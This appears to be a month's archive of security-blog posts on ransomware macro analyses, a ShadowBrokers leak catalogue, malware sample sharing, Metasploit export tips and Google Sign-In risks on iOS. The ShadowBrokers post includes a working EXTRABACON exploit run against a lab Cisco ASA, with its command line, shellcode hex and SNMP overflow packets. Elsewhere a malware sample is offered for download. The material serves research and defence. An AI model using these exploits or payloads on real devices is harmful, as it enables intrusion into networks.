Monthly Archives: August 2016

VirusTotal += Invincea

We welcome Invincea scanner to VirusTotal. This is a machine learning engine from USA. In the words of the company:


"Invincea is a machine learning endpoint security software company dedicated to killing threats without impacting business performance. X by Invincea combines machine learning and behavioral monitoring to eliminate endpoint security blind spots without sacrificing usability.
The deep learning model that powers X by Invincea was built based on years of research in Invincea Labs supported by DARPA funding — the US government agency working on breakthrough technologies for national security. Using this technology, X can determine if a file is malicious, even if that file has never been seen before and does not have a known signature.  First, X by Invincea extracts unique file features about the program and its capabilities. Second, the extracted features are then run through a multi-stage deep learning algorithm to determine how similar the file is to other malware families. X by Invincea then returns whether the file is malicious, along with the malware family that it mostly likely derives from."

Invincea has expressed its commitment to follow the recommendations of AMTSO and, in compliance with our policy, facilitates this review by an AMTSO-member tester.

M-Trends Asia Pacific: Organizations Must Improve at Detecting and Responding to Breaches

Since 2010, Mandiant, a FireEye company, has presented trends, statistics and case studies of some of the largest and most sophisticated cyber attacks. In February 2016, we released our annual global M-Trends® report based on data from the breaches we responded to in 2015. Now, we are releasing M-Trends Asia Pacific, our first report to focus on this very diverse and dynamic region.

Some of the key findings include:

  • Most breaches in the Asia Pacific region never became public. Most governments and industry-governing bodies are without effective breach disclosure laws, although this is slowly changing.
  • The median time of discovery of an attack was 520 days after the initial compromise. This is 374 days longer than the global median of 146 days.
  • Mandiant was engaged by many organizations that have already conducted forensic investigations (internally or using third parties), but failed to eradicate the attackers from their environments. These efforts sometimes made matters worse by destroying or damaging the forensic evidence needed to understand the full extent of a breach or to attribute activity to a specific threat actor.
  • Some attacker tools were used to almost exclusively target organizations within APAC. In April 2015, we uncovered the malicious efforts of APT30, a suspected China-based threat group that has exploited the networks of governments and organizations across the region, targeting highly sensitive political, economic and military information.

Download M-Trends Asia Pacific to learn more.

Zepto Evasion Techniques

We’ve been tracking some more spam dropping Zepto ransomware variants. Like earlier posts, we’re seeing infected attachments with malicious macro scripts used as the entry point for the threat actor. (See images below of some recent spam samples.)

Zepto spam

As we dig deeper into our analysis, we found out that these macro scripts are not crafted manually. The malware authors have automated the creation and obfuscation of their code. This type of random obfuscation is one way of evading antivirus engines. As outlined below, our research highlights several methods employed to dynamically evolve the attack vector to circumvent detection.

From the malicious emails we have gathered, we will examine the attachments to analyze key differences and common characteristics.

The malicious code was written and spread across the 3 sub modules:

zepto automation

5 sub modules are being used for the malicious code:

zepto obfuscation

Examining the sub modules of the file shows that it has some common signatures that we can look for:

zepto codezepto hidden code

We were able to find blocks of code that shares common structures. Remember that these codes were found on a different part or index of the module. From programmer’s perspective, this may seem a little odd to see codes like this, but as the analysis continues, we can say that this is just one part of the malware author’s strategy to hide the code and confuse incident responders.

Notice the highlighted strings from both screenshots that are common across the two samples. At first glance, some significant strings can be formed only if the garbage strings such as:

  • “RIIM”
  • “PORKKI”

were removed or replaced, they can be formed as:

  • “microsoft”
  • “Adodb.stream”
  • “script”
  • “application”

Additionally, and maybe more significant, is the activity of these scripts. You will also notice the highlighted strings are surrounded by what we can now assume are garbage code for misdirection and to further obfuscate malicious code.

Basically, the usual flow of the scripts analyzed will go like this:

zepto infection process

At this point, the payload of the downloaded Zepto ransomware will take over.

As observed with the Zepto downloaders, the scripts also varies with the encrypted URLs. Below are some of the URLs from which the monitored scripts attempted to download Zepto. Imagine how many of them are generated and how many various structured scripts are available in the wild. Zepto is not only distributed through macro scripts, there are also JavaScrip and wsf script downloaders.

zepto download links

With some twists of social engineering, creativity and advanced programming skills, cybercriminals are becoming increasingly adept at delivering Zepto and other ransomware payloads to both business and home users.

zepto infection screen

Prevent Ransomware Infections?

To prevent ransomware, we recommended you block it early from the root of its infection chain. Here are some tips:

  • Always keep your operating system, applications and security products patched and up to date
  • Take precaution when opening attachments, especially when sent by an unknown sender
  • Never enable VBA macros by default for any Microsoft Office application. Some macro malwares even tell you how to enable macros or may mislead you in doing so.
  • Deploy solutions that protect you from sophisticated and pervasive threats like ransomware, including advanced endpoint protection like VIPRE Endpoint Security, a malware behavior analysis tool like ThreatAnalyzer, and solutions to detect and disrupt active cyber attacks like ThreatSecure
  • Regularly back up your data

VIPRE Antivirus Detections for this threat include:

  • Trojan-Downloader.O97M.Donoff.by (v)
  • Trojan-Downloader.O97M.Donoff.bu (v)
  • OLE.Generic.a (v)

Md5:
bb1ddad0780314a8dd51a4740727aba5
7e9657149c0062751c96baf00c89a57a

Reference:

Zepto Ransomware Packed into WSF Spam

Analysis by Daryl Tupaz

The post Zepto Evasion Techniques appeared first on ThreatTrack Security Labs Blog.

Linux.Agent malware sample – data stealer



Research: SentinelOne, Tim Strazzere Hiding in plain sight?
Sample credit: Tim Strazzere


List of files

9f7ead4a7e9412225be540c30e04bf98dbd69f62b8910877f0f33057ca153b65  malware
d507119f6684c2d978129542f632346774fa2e96cf76fa77f377d130463e9c2c  malware
fddb36800fbd0a9c9bfffb22ce7eacbccecd1c26b0d3fb3560da5e9ed97ec14c  script.decompiled-pretty
ec5d4f90c91273b3794814be6b6257523d5300c28a492093e4fa1743291858dc  script.decompiled-raw
4d46893167464852455fce9829d4f9fcf3cce171c6f1a9c70ee133f225444d37  script.dumped

malware_a3dad000efa7d14c236c8018ad110144
malware fcbfb234b912c84e052a4a393c516c78
script.decompiled-pretty aab8ea012eafddabcdeee115ecc0e9b5
script.decompiled-raw ae0ea319de60dae6d3e0e58265e0cfcc
script.dumped b30df2e63bd4f35a32f9ea9b23a6f9e7


Download


Download. Email me if you need the password


Summing up the ShadowBrokers Leak

Nowadays it's almost impossible to not write about EquationGroup Leak, so I'm going to start my "blog post" pushing the following picture (realised by Kaspersky Lab) which would cut-out every doubts about the leak paternity.

EquationGroup VS ShadowBrokers's Leak

The leaked dump contains a set of exploits, implants and tools for hacking firewalls (code name: "Firewall Operations").  Let's have a quick look to them:

Exploits:

Following a list of exploit found on the published leak. Please refer to sources at the bottom of the page for original writing about them.

EGREGIOUSBLUNDER. It is a remote code execution exploit for Fortigate firewalls. It leverages an HTTP cookie overflow and is different from CVE-2006-6493 as noted by Avast. Models affected include 60, 60M, 80C, 200A, 300A, 400A, 500A, 620B, 800, 5000, 1000A, 3600, and 3600A.

ELIGIBLEBACHELOR This is an exploit with an unclear attack vector for TOPSEC firewalls running TOS operating system versions 3.2.100.010, 3.3.001.050, 3.3.002.021 and 3.3.002.030.The attack vector is unknown but it has an XML-like payload that starts with .

ELIGIBLEBOMBSHELL It is a remote code execution exploit for TOPSEC firewalls. It exploits an HTTP cookie command injection vulnerability and uses ETag examination for version detection. Versions affected include 3.2.100.010.1_pbc_17_iv_3 to 3.3.005.066.1. 

WOBBLYLLAMAA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.3.002.030.8_003.

FLOCKFORWARDA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.3.005.066.1.

HIDDENTEMPLEA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version tos_3.2.8840.1.

CONTAINMENTGRIDA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version tos_3.3.005.066.1.

GOTHAMKNIGHTA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.2.100.010.8_pbc_27. Has no BLATSTING support.

ELIGIBLECANDIDATEA remote code execution exploit for TOPSEC firewalls that exploits a HTTP cookie command injection vulnerability, affecting versions 3.3.005.057.1 to 3.3.010.024.1.

ELIGIBLECONTESTANTA remote code execution exploit for TOPSEC firewalls that exploits a HTTP POST paramter injection vulnerability, affecting versions 3.3.005.057.1 to 3.3.010.024.1. This exploit can be tried after ELIGIBLECANDIDATE.

EPICBANANAA privilege escalation exploit against Cisco Adaptive Security Appliance (ASA) and Cisco Private Internet eXchange (PIX) devices. Exploitation takes advantage of default Cisco credentials (password: cisco). Affects ASA versions 711, 712, 721, 722, 723, 724, 80432, 804, 805, 822, 823, 824, 825, 831, 832 and PIX versions 711, 712, 721, 722, 723, 724, 804.

ESCALATEPLOWMANA privilege escalation exploit against WatchGuard firewalls of unknown versions that injects code via the ifconfig command.

EXTRABACONA remote code execution exploit against Cisco Adaptive Security Appliance (ASA) devices affecting ASA versions 802, 803, 804, 805, 821, 822, 823, 824, 825, 831, 832, 841, 842, 843, 844. It exploits an overflow vulnerability using the Simple Network Management Protocol (SNMP) and relies on knowing the target's uptime and software version.

BOOKISHMUTEAn exploit against an unknown firewall using Red Hat 6.0.

FALSEMORELAllows for the deduction of the "enable" password from data freely offered by an unspecified firewall (likely Cisco) and obtains privileged level access using only the hash of the "enable" password. Requires telnet to be installed on the firewall's inside interface.


Cisco exploits by vulnerabilities:

Cisco Admits Unknown Vulnerabilities

Implants:

Following a list of Implants found on the leaked dump.

BLATSTING A firewall software implant that is used with EGREGIOUSBLUNDER (Fortigate) and ELIGIBLEBACHELOR (TOPSEC). 

BANANAGLEE A non-persistent firewall software implant for Cisco ASA and PIX devices that is installed by writing the implant directly to memory. Also mentioned in the previously leaked NSA ANT catalogue. 

BANANABALLOT A BIOS module associated with an implant (likely BANANAGLEE). 

BEECHPONY A firewall implant that is a predecessor of BANANAGLEE. 

JETPLOW A firmware persistence implant for Cisco ASA and PIX devices that persists BANANAGLEE. Also mentioned in the previously leaked NSA ANT catalogue.
JETPLOW evidence on leaked USA Secret Documents


SCREAMINGPLOW Similar to JETPLOW. 

BARGLEE A firewall software implant. Unknown vendor. 

BUZZDIRECTION A firewall software implant for Fortigate firewalls. 

FEEDTROUGH A technique for persisting BANANAGLEE and ZESTYLEAK implants for Juniper NetScreen firewalls. Also mentioned in the previously leaked NSA ANT catalogue. 

JIFFYRAUL A module loaded into Cisco PIX firewalls with BANANAGLEE. 

BANNANADAIQUIRI An implant associated with SCREAMINGPLOW. Yes, banana is spelled with three Ns this time. 

POLARPAWS A firewall implant. Unknown vendor. 

POLARSNEEZE A firewall implant. Unknown vendor. 

ZESTYLEAK A firewall software implant for Juniper NetScreen firewalls that is also listed as a module for BANANAGLEE. Also mentioned in the previously leaked NSA ANT catalogue. 

SECONDDATE A packet injection module for BANANAGLEE and BARGLEE. 

BARPUNCH A module for BANANAGLEE and BARGLEE implants. 

BBALL A module for BANANAGLEE implants.

BBALLOT A module for BANANAGLEE implants. 

BBANJO A module for BANANAGLEE implants. 

BCANDY A module for BANANAGLEE implants.  

BFLEA A module for BANANAGLEE implants. 

BMASSACRE A module for BANANAGLEE and BARGLEE implants. 

BNSLOG A module for BANANAGLEE and BARGLEE implants. 

BPATROL A module for BANANAGLEE implants. 

BPICKER A module for BANANAGLEE implants. 

BPIE A module for BANANAGLEE and BARGLEE implants. 

BUSURPER A module for BANANAGLEE implants. 

CLUCKLINE A module for BANANAGLEE implants.

Tools:

Following a list of implemented tools found along the leaked dump.

BILLOCEANRetrieves the serial number of a firewall, to be recorded in operation notes. Used in conjunction with EGREGIOUSBLUNDER for Fortigate firewalls.

FOSHOA Python library for creating HTTP exploits.

BARICEA tool that provides a shell for installing the BARGLEE implant.

DURABLENAPKINA tool for injecting packets on LANs.

BANANALIARA tool for connecting to an unspecified implant (likely BANANAGLEE).

PANDAROCKA tool for connecting to a POLARPAWS implant.

TURBOPANDAA tool that can be used to communicate with a HALLUXWATER implant. Also mentioned in the previously leaked NSA ANT catalogue.

TEFLONDOORA self-destructing post-exploitation shell for executing an arbitrary file. The arbitrary file is first encrypted with a key.

1212/DEHEXConverts hexademical strings to an IP addresses and ports.

XTRACTPLEASINGExtracts something from a file and produces a PCAP file as output.

NOPENA post-exploitation shell consisting of a client and a server that encrypts data using RC6. The server is installed on the target machine.

BENIGNCERTAINA tool that appears to be for sending certain types of Internet Key Exchange (IKE) packets to a remote host and parsing the response.

RUNNING EXAMPLE:

This is a running example of extrabacon exploit, just to be sure it will work even in my lab environment.

 mr@mrtestbox:~$ ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable  
WARNING: No route found for IPv6 destination :: (no default route?)
Logging to /home/marcoramilli/concernedparent
[+] Executing: ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable
[+] running from /home/marcoramilli
Data stored in self.vinfo: ASA803
[+] generating exploit for exec mode pass-enable
[+] using shellcode in ./versions
[+] importing version-specific shellcode shellcode_asa803
[+] building payload for mode pass-enable
appended PMCHECK_ENABLE payload eb14bf7082090931c9b104fcf3a4e92f0000005e
ebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80
appended AAAADMINAUTH_ENABLE payload eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8ffffff5
589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80
[+] random SNMP request-id 425297185
[+] fixing offset to payload 49
overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165.165.165.165.131.236.
4.137.4.36.137.229.131.197.88.4
*** output omitted ****
44.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144
payload (133): eb14bf7082090931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531
f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8fff
fff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80c3
EXBA msg (371): 3082016f0201010405636973636fa58201610204195985210201000201013082015130819106072b0601020101010
*** output omitted ****
0811081108110811081108110811081108110810d7b810309810b7c2414810b07817f816081100500
[+] Connecting to 192.168.1.66:161
[+] packet 1 of 1
[+] 0000 30 82 01 6F 02 01 01 04 05 63 69 73 63 6F A5 82 0..o.....cisco..
[+] 0010 01 61 02 04 19 59 85 21 02 01 00 02 01 01 30 82 .a...Y.!......0.
[+] 0020 01 51 30 81 91 06 07 2B 06 01 02 01 01 01 04 81 .Q0....+........
[+] 0030 85 EB 14 BF 70 82 09 09 31 C9 B1 04 FC F3 A4 E9 ....p...1.......
[+] 0040 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 31 C0 89 /...^.......U1..
[+] 0050 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB A5 25 AC ..........1...%.
[+] 0060 AC 31 FB B9 A5 B5 A5 A5 31 F9 BA A0 A5 A5 A5 31 .1......1......1
[+] 0070 FA CD 80 EB 14 BF B0 60 06 08 31 C9 B1 04 FC F3 .......`..1.....
[+] 0080 A4 E9 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 89 ../...^.......U.
...
###[ SNMP ]###
version = v2c
community = 'cisco'
\PDU \
|###[ SNMPbulk ]###
| id = <ASN1_INTEGER[425297185]>
| non_repeaters= 0
| max_repetitions= 1
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.2.1.1.1']>
| | value = <ASN1_STRING['\xeb\x14\xbfp\x82\t\t1\xc9\xb1\x04\xfc\xf3\xa4\xe9/\x00
\x00\x00^\xeb\xec\xe8\xf8\xff\xff\xffU1\xc0\x89\xbf\xa5\xa5\xa5\xa5\xb8\xd8\xa5\xa5\
xa51\xf8\xbb\xa5%\xac\xac1\xfb\xb9\xa5\xb5\xa5\xa51\xf9\xba\x....
*** output omitted ****
\xa5\xa51\xf9\xba\xa0\xa5\xa5\xa51\xfa\xcd\x80\xc3']>
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165
.165.165.165.131.236.4.137.4.36.137.229
*** output omitted ****
44.144.144.144.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144']>
| | value = <ASN1_NULL[0]>
****************************************
[-] timeout waiting for response - performing health check
[-] no response from health check - target may have crashed
[-] health check failed

Sources:

Most of the sources I've been using during that survey: Musalbas, Packetstom, ExploitDB, Cisco, Schneier

Donoff Macro Dropping Ransomware

Recently, we’ve spotted Zepto ransomware spreading through spam email containing fake invoices (see image below). These attachments contain a Macro-Enabled word document file known as Donoff, which downloads the Zepto executable that encrypts all your files and will later ask for payment of the decryption key.

donoff malicious macro sample

We decided to take a closer look on the Donoff macro used in downloading the Zepto ransomware. Here’s what we found:

The VBA Macro code

At first glance, the code is fully commented in Spanish and uses some random generated variable names.

Here a look at the code:

donoff macro code

Retrieving Zepto

The Word document contains two macro functions, autoopen and ActualizarEntrada.

donoff spanish code

Here are more snips of code showing the processing of obfuscated text.

donoff macro code

These are the strings revealed after deobfuscation.

  • XMLHTTP
  • streaM
  • Application
  • shell
  • Process
  • GeT
  • TeMP
  • Type
  • open
  • write
  • responseBody
  • savetofile
  • \sysdrubpas.exe

This VBScript uses Microsoft.XMLHTTP and Adodb.Stream Objects to download Zepto.

The Microsoft.XMLHTTP object is one of Microsoft’s XML DOM (Document Object Model) modules that is intended to deliver client-side access to XML documents on remote servers through the HTTP protocol.  This object is used to request or send any type of document.

The ADODB.Stream Object is used to read, write and manage a stream of binary data or text.

3

The following code decrypts to

x

4

Here’s the code that downloads the encrypted Zepto executable file.

5

The encrypted file is stored to the file system as TempWFDSAdrweg.  It then uses this key Aw3WSr7dB3RlPpLVmGVTtXcQ3WG8kQym to decrypt and stores the decrypted binary to the file sysdrubpas.exe in the %temp% folder.  %temp% folder is usually the C:\Users\<username>\AppData\Local\Temp folder.

6

Decryption code

7

Encrypted Zepto (Displayed here in Hexadecimals):

encrypted zepto

Decrypted Zepto (now in Executable form):

decrypted zepto

The script then executes sysdrubpas.exe infecting the system of the user.

sysdrubpas.exe

ThreatAnalyzer – Malware Sandbox Analysis

When executed in our malware analysis sandbox ThreatAnalyzer, here’s the process tree caused by the malicious Word document

donoff analysis

The ThreatAnalyzer Behavioral Determination Engine flags this as 100% malicious file and was able to find dozens of suspicious behaviors.donoff processes

One notable common behavior of ransomware is how it deletes shadow copies to prevent easy restoration from Windows backup.

3

Other behaviors are very similar to our previous post about Zepto ransomware:  https://blog.threattrack.com/ransomware-packed-into-wsf-spam/.

Prevent Ransomware Infections?

To prevent ransomware, we recommended you block it early from the root of its infection chain. Here are some tips:

  • Always keep your operating system, applications and security products patched and up to date
  • Take precaution when opening attachments, especially when sent by an unknown sender
  • Never enable VBA macros by default for any Microsoft Office application. Some macro malwares even tell you how to enable macros or may mislead you in doing so.
  • Deploy solutions that protect you from sophisticated and pervasive threats like ransomware, including advanced endpoint protection like VIPRE Endpoint Security, a malware behavior analysis tool like ThreatAnalyzer, and solutions to detect and disrupt active cyber attacks like ThreatSecure
  • Regularly back up your data

HASHES

e98aee56175daaa96f259d04077d820f – malicious DOC attachment (Trojan-Downloader.O97M.Donoff.by (v))

837a5b0dbd5850634bfecadadc751cdd – Zepto executable (Trojan.Win32.Generic!BT)

Analysis by Wilmina Elizon

The post Donoff Macro Dropping Ransomware appeared first on ThreatTrack Security Labs Blog.

Exporting workspaces from your MSF database

Quick and dirty hack to export all your findings/host/services/etc and creds from your metasploit database

Normally you'd do this with a:

workspace myworkspace
db_export -f xml -a /path/to/file.xml
db_export -f pwdump -a /path/to/file.pwdump

This can be tedious if you want to spin down an instance with tons of workspaces on it.  So I wrote a quick resource script to get it done.  This takes a list of workspaces. I'm sure you can programmatically retrieve the workspaces but I didn't.  Code below:





Analyzing the Malware Analysts – Inside FireEye’s FLARE Team

At the Black Hat USA 2016 conference in Las Vegas last week, I was fortunate to sit down with Michael Sikorski, Director, FireEye Labs Advanced Reverse Engineering (FLARE) Team.

During our conversation we discussed the origin of the FLARE team, what it takes to analyze malware, Michael’s book “Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software,” and the latest open source freeware tools FLOSS and FakeNet-NG.

Listen to the full podcast here.

FPC

Here is my opinion on FPC. 

Full packet capture can be an intrusion analyst's best friend. Consider this example: You receive an alert that an internal device accessed a piece of JavaScript on some web site and the rule says there was an object use-after-free attempt. You need to inspect that code and see if it is malicious and preferably, what occurred afterwards. 

You could use a tool like wget or Spondulas to download the code, or you could use a sand boxed machine to browse to the URI and view the source. You could put the URI into some online site checker and see what it finds. You could check the reputation of the domain.

But, what if you are capturing full packets going in and out of your network to the Internet?

You can pull up the URI in a tool like Moloch or a commercial tool, and look at the session. You can see the JavaScript as it was delivered exactly to THAT client, running that OS, using that browser and user-agent and see what happened afterwards. You can save the code off as a file to further inspect it and run the pcap through Wireshark or SteelCentral Packet Analyzer or Netwitness or some other analysis tool.

You CAN do intrusion analysis without FPC, but you can't do it as quickly OR as effectively. 
Flow data and logs and threat intelligence are all fine (well, maybe not so much on the threat intelligence) but having packets trumps them all.

The Risks of Google Sign-In on iOS Devices

The Google Identity Platform is a system that allows you to sign in to applications and other services by using your Google account. Google Sign-In is one such method for providing your identity to the Google Identity Platform. Google Sign-In is available for Android applications and iOS applications, as well as for websites and other devices.

Users of Google Sign-In find that it integrates well with the Android platform, but iOS users (iPhone, iPad, etc.) do not have the same experience. The user experience when logging in to a Google account on an iOS application is not only more tedious than the Android experience, but it also conditions users to engage in behaviors that put their Google accounts at risk!

Minding Your Credentials

Before getting into the details of Google Sign-In on iOS, it is worth it to take a brief detour to discuss when it is appropriate to provide your account credentials in general. Whether you are dealing with a web page, a desktop application, a mobile application, or anything else, there are certain questions that you should answer before you can safely provide authentication information:

  1. What application am I interacting with?
  2. Where does this information go when it's submitted?
  3. Is the information protected in transit?

You can't always answer all of these questions. Keep in mind, however, that any time you can't answer a question, you are placed in a situation where an attacker may be able to obtain unexpected access to your account.

What happens if you can't answer the question, "What application am I interacting with?" If you don't know what application is providing the dialog you're working with, then you can't begin to guess what will happen with the information that you provide. For example, see CERT Vulnerability Note VU#490708 - Microsoft Internet Explorer window.createPopup() method creates chromeless windows.

Also, what happens if you can't answer the question "Where does this information go when it's submitted?" This is a difficult question to answer. When dealing with web pages, the easiest starting point is to know what website you are currently viewing. If you're viewing look-alike content on a domain that is other than what you expect it to be, then it's possible that you may end up providing credentials to an attacker. Most phishing attacks use this technique. To complicate the matter further, a website that is vulnerable to cross-site scripting (XSS) may allow an attacker to obtain your credentials, even if you are currently viewing the legitimate website in question. For example, see CERT Vulnerability Note VU#808921 - eBay contains a cross-site scripting vulnerability.

Finally, what happens if you can't answer the question, "Is the information protected in transit?" Especially on mobile platforms, this question can also be difficult to answer. If an application chooses to not use encryption, or if it improperly implements encryption, this situation can allow an attacker to observe sensitive data in transit. In a case where you are providing credentials to an account, an attacker may be able to compromise the account. For example, see CERT Vulnerability Note VU#432608 - IBM Notes Traveler for Android transmits user credentials over HTTP.

Especially when you can't answer one or more of the above questions, it's important to consider the risks that may be involved with providing your account credentials. In this blog post I explain why the Google Sign-In experience on the iOS platform forces you to take unnecessary risks.

OAuth Basics

Google APIs use the OAuth 2.0 protocol for authentication and authorization. Without getting into the nitty gritty details, OAuth allows you to authenticate with a system without needing to divulge your credentials to a third party. For example, if you want to authenticate yourself with the Pokémon Go application by using your Google account, OAuth should allow you to do it without ever telling Niantic your Google credentials.

At least, that's the way it works with the Android version of the game. Why is iOS different? To understand the differences, let's look at the sign-in process for each.

Google Sign-In on Android

With most Android devices, the OS itself is associated with a Google account. When you turn on your new Android phone, one of the first steps is a prompt to log in with your Google account credentials. This account is tied so closely with the OS that many Android phones force a factory reset if the Google account is removed from the phone.

Google Sign-In on an Android device leverages the Google account that is associated with the device. When the getSignInIntent is invoked, the authentication process is handed off to the Android OS itself. Here you can select which Google account to use. No password is required. If the application needs permissions beyond profile, email, or openid, then you are prompted to grant access to the additional resources.

Because you are not prompted for any credentials, the three questions outlined above are not terribly important:

  1. What application am I interacting with?
  2. Where does this information go when it's submitted?
  3. Is the information protected in transit?

The reason that these questions are not important is because you are not directly providing sensitive information. You are simply choosing whether or not to grant access to the account access levels that are requested.

Google Sign-In on iOS

With iOS devices, there is no OS-level association with a Google account. Therefore, there is no already-authenticated component that Google Sign-In can leverage to achieve its goal. As a result, you must enter your Google username and password directly into a screen that is presented by the application.

Let me be clear about what happens during the sign-in process:

  1. The user runs an application.
  2. The application presents a login screen to the user.
  3. The user enters Google credentials into the screen presented by the application.

Doesn't this sign-in process violate one of the main aspects of OAuth? That is, you shouldn't have to enter your credentials to a third-party application or site with OAuth. As it turns out, when Google Sign-In is used on iOS, the dialog is indeed on the Google website. So the third-party application is not receiving your credentials. But how do you know this for sure? To find out, I launch an application, and click a button that looks like this:

btn_google_signin_dark_normal_web.png

As a result, I'm presented with a screen that looks like this:

signin_webview.png

Update (August 10, 2016): The above screenshot is from an iOS 8.x device.

At this point, I think that the dialog is presenting content from accounts.google.com. But I have no way of verifying it. Even if clicking the "accounts.google.com" text did something, how do I know that the whole screen isn't being faked?

As a user, I have no idea what is providing the screen that I'm seeing. All I know is that I launched an application that I may or may not trust, and it's now prompting me for the credentials to my Google account. This situation is much like website spoofing on PCs, but it's even worse on mobile devices due to the limited screen real estate and limited information presented to the user.

I can't answer the three questions outlined above easily.

  1. What application am I interacting with?
    All I know is that after pressing a button in a third-party application, I'm presented with a dialog requesting my Google account credentials. While the screen may look like I'm interacting with Safari, it's not Safari. If I know enough to double-tap the home button, I can at least see the host application that is providing the screen that I am seeing.
  2. Where does this information go when it's submitted?
    It appears that my credentials are sent to accounts.google.com, but I can't tell for sure. Because the third-party application provided the screen, it could put whatever it wants there.
  3. Is the information protected in transit?
    I definitely have no clue about the answer to this question. I don't see a padlock, so for all I know it's all cleartext HTTP.

By looking at the Google Sign-In for iOS code, it appears that the sign-in dialog is created using a UIWebView object. This object doesn't share cookies with Safari, though. This means that even if Safari is logged into Google on my iOS device, the Google Sign-In code will not know it.

Update (August 10, 2016): The UIWebView object is only used on iOS versions earlier than 8.x. On iOS 9.x devices, Google Sign-In library version 2.3 (Released Sept. 29, 2015) and newer will use the SFSafariViewController object, which will leverage Safari cookies. This means that if the user is already logged in with Safari, the application that uses the Google Sign-In library will not prompt the user for credentials. Version 2.0 through 2.2 of the Google Sign-In library used a UIWebView object to avoid the limitations introduced in iOS 9.0, where applications were not allowed to launch Safari for the purpose of logging in.

If an app author chooses to use something like the SFSafariViewController, or uses Google Sign-In version 2.3 or newer, then the Google authentication process can leverage an already-authenticated Safari browser. For example, here is a screenshot of an application that appears to use this technique:

safari_signin.png

Here I can see that the authentication process knows who I am already, and I simply have to choose "Allow" or "Deny." I don't have to enter my password, which, as it turns out, is a good thing, as Safari and its associated components appear to expose no way of viewing an SSL certificate. Even if I click the Safari icon in the bottom-right corner, which opens the same page in the full-blown Safari browser, the padlock does nothing when I touch it.

Even though I can't view the site certificate, I'm comfortable with clicking either "Allow" or "Deny" here. Even if the application is malicious, all it can do is view my email address and my basic profile information. The important part to realize is that I did not enter my credentials anywhere. Had I entered my Google credentials into the application, it could possibly have done anything that it wanted with my account.

This is exactly what happened with the Pokémon Go application when it was first released. When a user launched the application and clicked the "Sign up with Google" button, the user was presented with a screen where the username and password must be entered. After this action was taken, Adam Reeve noticed that the application had full access to his Google account.

This incident made me wonder how the application was able to gain full access without explicitly asking for it. The answer is perhaps obvious--the user entered Google credentials into a screen presented by the application. It doesn't matter if the recommended Google authentication technique is used or not. The user gave Google credentials to the application.

Niantic has since published a statement about how the application erroneously requested full-access permission to the Google account, and that it accessed only the user ID and email address. I didn't reverse engineer the original version of the application, so I guess I'll just have to take their word for it.

Facebook Authentication

Google isn't the only organization that provides an authentication API for third-party developers. Facebook Login can provide similar capabilities on Android, iOS, websites, and other platforms. There's an important difference between the Google Sign-In and Facebook Login tools though: Facebook Login works on iOS devices in the same way that it does on Android devices. That is, when an application uses the Facebook Login API, it launches the Facebook application (if installed) on the phone, and within that application I can see what is going on:

facebook_login.png

Let's go back to our three questions:

  1. What application am I interacting with?
  2. Where does this information go when it's submitted?
  3. Is the information protected in transit?

In the case of using a Facebook Login, it's pretty clear that I'm dealing with the Facebook application, as I am already logged in. I can verify this by double-tapping the home button if I like. The second two questions are more difficult to answer, but if I trust the Facebook application, I'm likely to believe that it is doing the right thing.

Being the security-conscious person that I am, I consider the risk of providing my credentials because I can't answer all of the above questions. And because I'm not providing my Facebook credentials at all here, I simply review the account access I would be providing to the app and choose to proceed or cancel based on the level of access I'm comfortable with providing.

Google Sign-In vs. Facebook Login

Why is Facebook able to handle authentication properly on iOS, but Google is not? The Facebook application has registered itself as a handler for Facebook Login requests. Any third-party application that attempts to use Facebook Login causes the Facebook application to launch and handle the request. As the Facebook application itself is already authenticated with the Facebook servers, it can delegate privileges to third-party applications without the need to share credentials, just like OAuth is supposed to work.

If a user doesn't have the Facebook application installed, then Facebook Login will fall back to using Safari. In this case, if I've already used Safari to log in to Facebook, I still won't be prompted for my Facebook credentials. I simply see a web browser page similar to the Facebook application screen above. I'm only prompted for Facebook credentials if I never logged in to Facebook using Safari and I don't have the Facebook application on my iOS phone.

Conclusions

When implemented properly, OAuth can help protect account credentials. Google Sign-In on iOS does not achieve this goal, however. By conditioning users to enter Google account credentials on a whim, Google has created an environment where users are more likely to have their accounts compromised.

Recommendations

  • iOS users should be sure that they are running iOS 9.x or newer. These newer iOS versions can allow Google Sign-In to leverage Safari cookies, which can avoid the need to prompt the user for credentials.
  • Users should be aware of the risks present when providing credentials to any application. Especially with third-party applications that may be untrusted, it is important to understand that providing Google account credentials is equivalent to giving that application full access to your account.
  • Application developers should use the SFSafariViewController object or Safari itself to perform the Google authentication process. Application developers should use Google Sign-In 2.3 or newer. This can leverage the cookies present in an already-authenticated Safari browser, which can prevent users from needing to type in credentials themselves.
  • Google should modify its existing iOS application or create a designated iOS application that registers itself to handle the Google authentication steps, much like how the Facebook application currently does. Doing so will prevent users from needing to type in their Google credentials, making them more resistant to hijacking.

Fighting Ransomware Threats

